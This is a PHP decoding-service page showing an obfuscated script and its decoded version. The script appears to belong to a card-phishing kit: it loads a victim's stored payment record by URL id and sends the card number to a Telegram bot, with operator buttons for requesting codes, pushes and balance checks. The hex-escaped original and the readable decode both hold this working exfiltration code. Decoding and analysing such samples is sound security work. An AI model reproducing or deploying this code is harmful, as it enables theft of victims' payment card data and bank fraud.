Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto H8K46; D8MYs: $pay = @file_get_contents("\x2e\57\144\142\x2f" . $_GET["\x69\144"] . ..

Decoded Output download

<?   goto H8K46; D8MYs: $pay = @file_get_contents("./db/" . $_GET["id"] . ".txt"); goto gF_hL; dg40i: function message_to_telegram($bot_token, $chat_id, $text, $kb = array()) { $ch = curl_init(); $ch_post = array(CURLOPT_URL => "https://api.telegram.org/bot" . $bot_token . "/sendMessage", CURLOPT_POST => TRUE, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_TIMEOUT => 10, CURLOPT_POSTFIELDS => array("chat_id" => $chat_id, "parse_mode" => "HTML", "text" => $text, "reply_markup" => json_encode(array("inline_keyboard" => $kb)), "disable_notification" => true)); curl_setopt_array($ch, $ch_post); curl_exec($ch); } goto L2hfb; H8K46: $config = json_decode(file_get_contents("config.json")); goto D8MYs; gF_hL: if ($pay === false) { die("No pay"); } goto Hf5u7; Hf5u7: $pay = json_decode($pay); goto DXKOK; DXKOK: message_to_telegram($config->token, $config->chat_id, "  ?" . PHP_EOL . ": " . $pay->card_number, array(array(array("text" => "   ", "callback_data" => "/newcode " . $_GET["id"]), array("text" => "    ", "callback_data" => "/fail " . $_GET["id"])), array(array("text" => "   ", "callback_data" => "/gopush " . $_GET["id"])), array(array("text" => "   ", "callback_data" => "/bal " . $_GET["id"])))); goto dg40i; L2hfb: ?> 

Did this file decode correctly?

Original Code

 goto H8K46; D8MYs: $pay = @file_get_contents("\x2e\57\144\142\x2f" . $_GET["\x69\144"] . "\56\164\x78\x74"); goto gF_hL; dg40i: function message_to_telegram($bot_token, $chat_id, $text, $kb = array()) { $ch = curl_init(); $ch_post = array(CURLOPT_URL => "\x68\164\x74\160\x73\x3a\x2f\57\141\160\151\x2e\x74\x65\x6c\x65\147\x72\141\155\x2e\157\162\x67\57\142\157\x74" . $bot_token . "\x2f\163\145\156\144\115\x65\163\x73\x61\147\x65", CURLOPT_POST => TRUE, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_TIMEOUT => 10, CURLOPT_POSTFIELDS => array("\143\x68\x61\164\137\x69\x64" => $chat_id, "\160\x61\162\163\x65\137\x6d\x6f\x64\x65" => "\110\124\x4d\114", "\164\x65\x78\164" => $text, "\x72\145\160\154\x79\137\155\141\162\153\165\x70" => json_encode(array("\151\x6e\154\151\156\x65\x5f\153\x65\171\x62\x6f\x61\162\x64" => $kb)), "\x64\x69\x73\x61\142\154\x65\x5f\x6e\x6f\164\151\x66\x69\x63\141\164\151\x6f\x6e" => true)); curl_setopt_array($ch, $ch_post); curl_exec($ch); } goto L2hfb; H8K46: $config = json_decode(file_get_contents("\x63\x6f\x6e\x66\x69\x67\56\x6a\163\157\156")); goto D8MYs; gF_hL: if ($pay === false) { die("\x4e\157\40\x70\141\171"); } goto Hf5u7; Hf5u7: $pay = json_decode($pay); goto DXKOK; DXKOK: message_to_telegram($config->token, $config->chat_id, "\xd0\x9a\321\x83\xd0\xb4\xd0\xb0\40\320\xbd\320\260\xd0\277\321\x80\xd0\260\320\xb2\320\xb8\321\202\xd1\x8c\40\320\274\xd0\260\xd0\xbc\320\276\xd0\xbd\321\x82\320\260\x3f" . PHP_EOL . "\320\232\xd0\260\xd1\200\321\x82\320\260\x3a\40" . $pay->card_number, array(array(array("\x74\145\170\x74" => "\360\x9f\x92\xac\x20\xd0\236\321\202\320\277\321\x80\320\260\320\262\xd0\270\321\x82\321\214\x20\xd0\272\xd0\xbe\320\xb4\40\xf0\x9f\222\xac", "\143\141\154\154\142\x61\x63\153\137\144\141\164\x61" => "\x2f\x6e\145\x77\x63\x6f\x64\145\x20" . $_GET["\x69\x64"]), array("\x74\145\x78\164" => "\342\235\x8c\x20\xd0\xa1\320\274\xd0\265\320\275\xd0\xb0\40\xd0\xba\xd0\xb0\xd1\x80\xd1\202\xd1\x8b\x20\xe2\x9d\x8c\x20", "\143\141\154\154\142\x61\143\x6b\x5f\144\x61\164\141" => "\x2f\x66\141\151\154\x20" . $_GET["\151\x64"])), array(array("\x74\x65\170\164" => "\xf0\x9f\223\254\40\xd0\x9e\xd1\202\320\xbf\xd1\200\320\260\xd0\xb2\xd0\xb8\321\x82\xd1\214\40\xd0\xbf\xd1\203\xd1\210\x20\360\x9f\223\254", "\143\141\x6c\154\x62\141\143\x6b\x5f\x64\x61\x74\141" => "\57\x67\x6f\160\x75\163\150\x20" . $_GET["\x69\144"])), array(array("\x74\145\x78\164" => "\342\x99\273\xef\270\x8f\40\xd0\237\321\200\320\276\xd0\262\xd0\xb5\321\x80\xd0\272\320\260\x20\xd0\xb1\320\xb0\xd0\273\320\260\320\xbd\xd1\x81\320\xb0\x20\xe2\231\273\357\xb8\x8f", "\143\141\x6c\x6c\x62\x61\143\x6b\x5f\144\x61\164\141" => "\x2f\x62\x61\x6c\40" . $_GET["\151\144"])))); goto dg40i; L2hfb: ?>

Function Calls

None

Variables

None

Stats

MD5 d84c833932dcab3a2e30761337886d94
Eval Count 0
Decode Time 36 ms